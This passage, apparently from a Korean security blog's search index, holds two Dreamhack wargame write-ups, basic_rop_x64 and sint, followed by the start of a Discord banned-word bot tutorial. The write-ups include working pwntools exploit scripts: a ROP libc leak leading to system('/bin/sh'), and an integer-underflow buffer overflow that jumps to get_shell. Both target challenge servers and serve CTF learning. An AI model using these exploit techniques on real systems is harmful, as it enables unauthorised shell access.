구한다.\n다음으로 system 함수를 사용해 /bin/sh를 실행하기 위해 libc에서 system 함수의 상대주소를 구하고 libcbase와 더해 실행중인 프로그램의 메모리 상 system 함수 주소를 구한다.\n이후 libc에서 /bin/sh의 문자열 주소를 찾는다.\n다음 처음과 마찬가지로 가젯을 통해 systme 함수의 인자로 사용될 /bin/sh의 주소와 system 함수의 주소를 넣어 쉘을 익스 한다.\n이 과정을 파이썬 코드로 나타내면 다음과 같다.\nfrom pwn import * conn = remote(\u0026#34;host1.dreamhack.games\u0026#34;, 13516); libc=ELF(\u0026#39;./libc.so.6\u0026#39;) rdi_ret = 0x400883 read_got = 0x601030 puts_plt = 0x4005c0 func_main = 0x4007ba payload = b\u0026#39;A\u0026#39;*(0x48) payload += p64(rdi_ret) payload += p64(read_got) payload += p64(puts_plt) payload += p64(func_main) conn.send(payload) sleep(1) print(conn.recvuntil(\u0026#39;A\u0026#39;*0x40)) leak = u64(conn.recv(6)+b\u0026#39;\\x00\\x00\u0026#39;) print(\u0026#34;leak =\u0026gt; \u0026#34;+str(hex(leak))) libcbase = leak - libc.sym[\u0026#39;read\u0026#39;] print(\u0026#34;libcbase =\u0026gt; \u0026#34;+str(hex(libcbase))) system = libcbase+libc.sym[\u0026#39;system\u0026#39;] print(\u0026#34;system =\u0026gt; \u0026#34;+str(hex(system))) binsh = libcbase+list(libc.search(b\u0026#34;/bin/sh\u0026#34;))[0] print(\u0026#34;binsh =\u0026gt; \u0026#34;+str(hex(binsh))) payload2 = b\u0026#39;B\u0026#39;*0x48 payload2 += p64(rdi_ret) payload2 += p64(binsh) payload2 += p64(system) conn.send(payload2) conn.interactive() 위 코드를 통해 flag를 얻을 수 있다.\n","permalink":"https://dig06161.github.io/2022/05/21/dreamhack-basic-rop-x64/","summary":"\u003cp\u003e이번에 풀어볼 문제는 기존의 32비트 환경 pwn이 아니라 64비트 환경 pwn이다. 기본적으로 32비트와 64비트는 함수 호출 규약에 다른점이 있다. 기존 32비트 환경에서는 함수 실행에 필요한 인자들을 스택에 저장해 하나씩 불러와 사용한다면 64비트 환경은 레지스터에 먼저 저장한 후 레지스터보다 많은 인자가 필요하면 스택을 이용한다.\u003c/p\u003e\n\u003cp\u003e이러한 차이점으로 32비트 환경에서는 버퍼 오버플로우 등으로 덮어 씌우기만 하면 성공했던 시스템 해킹이 64비트로 오면서 gadget(가젯)을 이용해 함수 실행에 필요한 인자를 넣어줘야 한다\u003c/p\u003e\n\u003cp\u003e이번 문제는 ROP(Return-oriented programming)에 관한 문제이며 이 ROP 기법은 공격자가 실행 공간 보호(NXbit) 및 코드 서명(Code signing)과 같은 보안 방어가있는 상태에서 코드를 실행할 수있게 해주는 기술이다.\u003c/p\u003e","title":"Dreamhack 시스템 해킹 basic_rop_x64"},{"content":"오랜만에 풀어보는 pwn문제이다.\n드림핵에 베이직으로 있는 sint의 취약점을 이용한 문제로 문제이름 또한 sint이다.\n문제 압축파일을 다운 받으면 .c로 된 코드 파일과 컴파일한 elf 파일을 제공한다. 우선 .c 파일을 열어보면 내용은 다음과 같다.\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;signal.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; void alarm_handler() { puts(\u0026#34;TIME OUT\u0026#34;); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } void get_shell() { system(\u0026#34;/bin/sh\u0026#34;); } int main() { char buf[256]; int size; initialize(); signal(SIGSEGV, get_shell); printf(\u0026#34;Size: \u0026#34;); scanf(\u0026#34;%d\u0026#34;, \u0026amp;size); if (size \u0026gt; 256 || size \u0026lt; 0) { printf(\u0026#34;Buffer Overflow!\\n\u0026#34;); exit(0); } printf(\u0026#34;Data: \u0026#34;); read(0, buf, size - 1); return 0; } 위 코드를 살펴보면 Size를 입력 받고 if 구분을 통해 조건 비교 후 Data를 read 함수로 입력받는 구조이다. if문을 보면 256보다 크거나, 0보다 작으면 printf(\u0026quot;Buffer Overflow!\\n\u0026quot;);를 실행하고 코드를 종료한다. 따라서 Size에 입력되는 값은 0~256까지의 범위를 가질 수 있다.\n아래 read함수를 보면 사이즈가 256인 buf 변수에 size-1만큼의 데이터를 입력 받는다. 여기서 잘 봐야할 점은 size는 0부터 256까지 숫자가 들어갈 수 있는데 만약 0을 넣으면 어떤일이 일어날까?\nread의 데이터 크기에는 -1이 들어가고 이는 2진 보수변환에 의해 아에 다른 값으로 바뀐다. int형은 4byte가지고 있다. 기본적으로 C언어의 숫자처리는 마이너스 값을 취급하기위해 2의 보수를 사용하며 양의 정수값만 사용하는 int를 선언하려면 Unsigned int 자료형을 사용해야한다.\n4바이트 크기의 1을 2진으로 변환하면 다음과 같다.\n0000 0000 0000 0000 0000 0000 0000 0001 하지만 이를 컴퓨터가 양수 1로 인식하기 위해서는 1의 보수를 구한 다음 2의 보수를 구해 계산한다\n그 과정은 다음과 같다.\n0000 0000 0000 0000 0000 0000 0000 0001 위 2진수를 1의 보수처리를 한다(2진수의 NOT = 의 보수) 1111 1111 1111 1111 1111 1111 1111 1110 위 2진수를 2의 보수처리 한다.(1의 보수의 2진 값 + 1) 1111 1111 1111 1111 1111 1111 1111 1111 위 설명이 2의 보수처리에 관한 설명이다. 이걸 응용해 -1의 보수를 구하면\n0000 0000 0000 0000 0000 0000 0000 0001 다음과 같지만 read 함수의 데이터 크기를 양수만, 즉 Unsigned int값을 받는다. 즉 따라서 보수 처리가 필요 없다는 것인데, 위 -1의 보수처리된 2진수를 역으로 계산하면\n1111 1111 1111 1111 1111 1111 1111 1111 위 2진수가 메모리에 저장되어 있는것이다. 이 값는 0xffffffff와 동일하며 매우 큰 값을 뜻하므로 버퍼 오버플로우 공격이 가능하다.\n자세한 내용은 C언어의 메모리 저장과 보수처리에 관해서 찾아보면 금방 이해 될 것이다.\n위와같이 -1이 들어가면 매우 큰 값을 쓸 수 있으니, size에는 0을 넣으면 된다. 이후 read함수에서 버퍼오버플로우를 이용해 return값을 조작해 문제를 풀면 된다.\n우선 바이너리를 gdb를 통해 disas main을 진행한다.\n0x0804866c \u0026lt;+0\u0026gt;:\tpush ebp 0x0804866d \u0026lt;+1\u0026gt;: mov ebp,esp 0x0804866f \u0026lt;+3\u0026gt;:\tsub esp,0x104 0x08048675 \u0026lt;+9\u0026gt;: call 0x8048612 \u0026lt;initialize\u0026gt; 0x0804867a \u0026lt;+14\u0026gt;:\tpush 0x8048659 0x0804867f \u0026lt;+19\u0026gt;:\tpush 0xb 0x08048681 \u0026lt;+21\u0026gt;:\tcall 0x8048470 \u0026lt;signal@plt\u0026gt; 0x08048686 \u0026lt;+26\u0026gt;:\tadd esp,0x8 0x08048689 \u0026lt;+29\u0026gt;:\tpush 0x80487a1 0x0804868e \u0026lt;+34\u0026gt;:\tcall 0x8048460 \u0026lt;printf@plt\u0026gt; 0x08048693 \u0026lt;+39\u0026gt;:\tadd esp,0x4 0x08048696 \u0026lt;+42\u0026gt;:\tlea eax,[ebp-0x104] 0x0804869c \u0026lt;+48\u0026gt;:\tpush eax 0x0804869d \u0026lt;+49\u0026gt;:\tpush 0x80487a8 0x080486a2 \u0026lt;+54\u0026gt;:\tcall 0x80484e0 \u0026lt;__isoc99_scanf@plt\u0026gt; 0x080486a7 \u0026lt;+59\u0026gt;:\tadd esp,0x8 0x080486aa \u0026lt;+62\u0026gt;:\tmov eax,DWORD PTR [ebp-0x104] 0x080486b0 \u0026lt;+68\u0026gt;:\tcmp eax,0x100 0x080486b5 \u0026lt;+73\u0026gt;:\tjg 0x80486c1 \u0026lt;main+85\u0026gt; 0x080486b7 \u0026lt;+75\u0026gt;:\tmov eax,DWORD PTR [ebp-0x104] 0x080486bd \u0026lt;+81\u0026gt;:\ttest eax,eax 0x080486bf \u0026lt;+83\u0026gt;:\tjns 0x80486d5 \u0026lt;main+105\u0026gt; 0x080486c1 \u0026lt;+85\u0026gt;:\tpush 0x80487ab 0x080486c6 \u0026lt;+90\u0026gt;:\tcall 0x8048490 \u0026lt;puts@plt\u0026gt; 0x080486cb \u0026lt;+95\u0026gt;:\tadd esp,0x4 0x080486ce \u0026lt;+98\u0026gt;:\tpush 0x0 0x080486d0 \u0026lt;+100\u0026gt;:\tcall 0x80484b0 \u0026lt;exit@plt\u0026gt; 0x080486d5 \u0026lt;+105\u0026gt;:\tpush 0x80487bc 0x080486da \u0026lt;+110\u0026gt;:\tcall 0x8048460 \u0026lt;printf@plt\u0026gt; 0x080486df \u0026lt;+115\u0026gt;:\tadd esp,0x4 0x080486e2 \u0026lt;+118\u0026gt;:\tmov eax,DWORD PTR [ebp-0x104] 0x080486e8 \u0026lt;+124\u0026gt;:\tsub eax,0x1 0x080486eb \u0026lt;+127\u0026gt;:\tpush eax 0x080486ec \u0026lt;+128\u0026gt;:\tlea eax,[ebp-0x100] 0x080486f2 \u0026lt;+134\u0026gt;:\tpush eax 0x080486f3 \u0026lt;+135\u0026gt;:\tpush 0x0 0x080486f5 \u0026lt;+137\u0026gt;:\tcall 0x8048450 \u0026lt;read@plt\u0026gt; 0x080486fa \u0026lt;+142\u0026gt;:\tadd esp,0xc 0x080486fd \u0026lt;+145\u0026gt;:\tmov eax,0x0 0x08048702 \u0026lt;+150\u0026gt;:\tleave 0x08048703 \u0026lt;+151\u0026gt;:\tret 0x0804866f 부분을 보면 esp에서 0x104만큼의 크기를 빼 buf를 위한 공간을 만든다. read함수에서 return 주소를 조작할 것이기 때문에 104를 10진수로 전환한 260의 임의 값을 넣고 4바이트의 sfp 임의 값에 get_shell()함수의 주소를 넣으면 된다.\ndisas get_shell 을 통해 주소값을 알아낸다. 함수의 주소는 0x08048659 이며 이를 이용해 파이썬 코드를 작성한다.\nfrom pwn import * conn = remote(\u0026#34;host1.dreamhack.games\u0026#34;, 11225); get_shell = p32(0x08048659) payload = b\u0026#39;A\u0026#39;*(264) payload += get_shell conn.recvuntil(\u0026#34;Size: \u0026#34;) conn.sendline(\u0026#34;0\u0026#34;) sleep(1) conn.recvuntil(\u0026#34;Data: \u0026#34;) conn.send(payload) sleep(1) #conn.recvall() conn.interactive() 이 코드를 돌리면 flag를 얻을 수 있다. 참고로 이유는 모르겠지만 위 코드가 윈도우 환경에서는 이상하게 동작하지 않는다. 필자는 VM을 통해 우분투 20.04를 이용했다.\n","permalink":"https://dig06161.github.io/2022/05/03/dreamhack-pwn-sint/","summary":"\u003cp\u003e오랜만에 풀어보는 pwn문제이다.\u003c/p\u003e\n\u003cp\u003e드림핵에 베이직으로 있는 sint의 취약점을 이용한 문제로 문제이름 또한 sint이다.\u003c/p\u003e\n\u003cp\u003e문제 압축파일을 다운 받으면 .c로 된 코드 파일과 컴파일한 elf 파일을 제공한다. 우선 .c 파일을 열어보면 내용은 다음과 같다.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c++\" data-lang=\"c++\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;signal.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;unistd.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003ealarm_handler\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eputs\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;TIME OUT\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eexit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003einitialize\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003esetvbuf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estdin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003e_IONBF\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003esetvbuf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estdout\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003e_IONBF\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003esignal\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSIGALRM\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ealarm_handler\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003ealarm\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e30\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eget_shell\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003esystem\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;/bin/sh\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"n\"\u003ebuf\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e256\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003einitialize\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003esignal\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSIGSEGV\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eget_shell\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Size: \u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003escanf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esize\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e256\u003c/span\u003e \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"n\"\u003esize\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Buffer Overflow!\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003eexit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Data: \u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eread\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ebuf\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003esize\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e위 코드를 살펴보면 Size를 입력 받고 if 구분을 통해 조건 비교 후 Data를 read 함수로 입력받는 구조이다. if문을 보면 256보다 크거나, 0보다 작으면 \u003ccode\u003eprintf(\u0026quot;Buffer Overflow!\\n\u0026quot;);\u003c/code\u003e를 실행하고 코드를 종료한다. 따라서 Size에 입력되는 값은 0~256까지의 범위를 가질 수 있다.\u003c/p\u003e","title":"Dreamhack sint 문제풀이"},{"content":"요즘 게임과 각종 온라인 커뮤니케이션 수단으로 디스코드를 많이 사용하는 것 같다. 어떤 대회나 컨퍼런스 등등 문의사항이나 커뮤니케이션을 위한 디스코드 채널을 개설하는걸 많이 봤기 때문이다.\n필자 또한 친구들과 게임을 하거나 단톡방 느낌으로 디스코드 채널을 이용하고 있는데 채널 안에 여러 사람이 있을 시 발생하는 여러가지 문제점이 있다.\n이는 카카오톡을 이용할 떄에도 비슷하게 발생하는데, 각종 욕설이나 금지어 등등 이런 룰을 정해 숙지하는 편이다.\n필자가 속한 채널은 금지어를 작성하면 필자와 다른 관리자 인원이 해당 채팅을 지우는 방식을 사용하고 있는데 이는 관리자 들에게 많은 피로감을 가져왔고, 관리자가 자리를 비웠 때 발생하는 비매너 채팅에 대해서 반응할 수 없다는 단점이 있었다. 따라서 여기서 디스코드 봇을 만들기로 생각했다.\n봇이 사용자들의 메시지를 인식해 금지어가 포함되어 있으면 자동으로 삭제하는 루틴이다.\n기본적으로 사용할 환경은 Python에 discord.py 라이브러리를 이용할 예정이고 서버는 집에 남는 orangepi를 이용하려고 한다. 서버같은 경우 데스크탑을 24시간 돌리기 부담스러워 이런 방법을 선택했으나 heroku를 이용해 서버 호스팅도 가능하다.\n개발하는 사람이 편한 방법을 찾으면 될것 같다. 필자는 직접 서버를 구축해 사용하기 때문에 orangepi에 docker를 설치에 서버를 만들었다.\n우선 여기서 사용할 라이브러리는 discord.py라는 라이브러리로, 파이썬 코루틴(비동기)기반으로 작동하는 라이브러리이다.\n기본적으로 코드는 https://discordpy-ko.github.io/ 의 가이드를 따라했다.\nhttps://discord.com/developers/applications 에서 봇을 생성하고 기본적인 봇에대한 정보를 설정해 준다.\n우측 상단에 New Application을 누르면 위 사진처럼 뜬다. 봇 이름을 적고 create를 누른다. 그럼 다음과 같은 페이지가 나온다.\nGeneral Information에서 기본적인 정보를 수정하고 좌측에 있는 Bot을 클릭한다.\n여기서 add bot 버튼을 누르면 이 엑션은 되돌릴수 없다는 경고문이 뜨는데 다음을 눌러 진행한다.\n여기서 봇 사용을 위한 권한 설정을 해준다. 그런 다음 reset token을 누르면 해당 봇에 대한 엑세스 토큰이 발행된다. 이 토큰값이 유출되면 외부에서 부정 사용이 발생할 수 있으니 안전한 곳에 백업해 두길 바란다.\n이제 죄측 메유늬 OAuth2 \u0026gt; URL Generator로 들어간다. 여기서 자기가 만들고자 하는 봇에 필요한 권한을 설정해 봇을 추가하기 위한 URL을 생성할 수 있다.\n필자는 메시지 제어를 위해 Text permissions의 모든 권한을 부여했다. 이후 Genrated URL 부분에 URL를 복사해 브라우저에 붙여넣기를 하면 본인이 봇을 추가할 수 있는 채널의 리스트가 보이며 추가가 완료된다.\n이제 파이썬 사용을 위해서 다음 명령어를 통해 discord.py 라이브러리를 설치한다.\npip3 install discord.py 이후 import discord 구문을 통해 라이브러리를 불러온다.\n다음 코드는 discord.py에서 올려준 빠른시작 코드이다.\nimport discord client = discord.Client() @client.event async def on_ready(): print(\u0026#39;We have logged in as {0.user}\u0026#39;.format(client)) @client.event async def on_message(message): if message.author == client.user: return if message.content.startswith(\u0026#39;$hello\u0026#39;): await message.channel.send(\u0026#39;Hello!\u0026#39;) client.run(\u0026#39;your token here\u0026#39;) 위 코드는 on_ready 구문을 통해 봇이 준비되면 \u0026ldquo;We have logged in as bot#tag\u0026quot;를 출력한다. 여기서 bot#tag는 봇의 이름이다.\n필자가 작성한 코드는 다음과 같다.\nimport discord, logging, sqlite3, os from discord.ext import commands import muyahoDB as db import drawTableModule as dt dirctory = os.path.dirname(__file__) #logger setting logger = logging.getLogger(\u0026#39;discord\u0026#39;) logger.setLevel(logging.DEBUG) handler = logging.FileHandler(filename=\u0026#39;discord.log\u0026#39;, encoding=\u0026#39;utf-8\u0026#39;, mode=\u0026#39;w\u0026#39;) handler.setFormatter(logging.Formatter(\u0026#39;%(asctime)s:%(levelname)s:%(name)s: %(message)s\u0026#39;)) logger.addHandler(handler) #discord setting client = discord.Client() bot = commands.Bot(command_prefix=\u0026#39;$\u0026#39;) #db connect con = sqlite3.connect(\u0026#39;muyaho.db\u0026#39;) db.initDB(con) @client.event async def on_ready(): 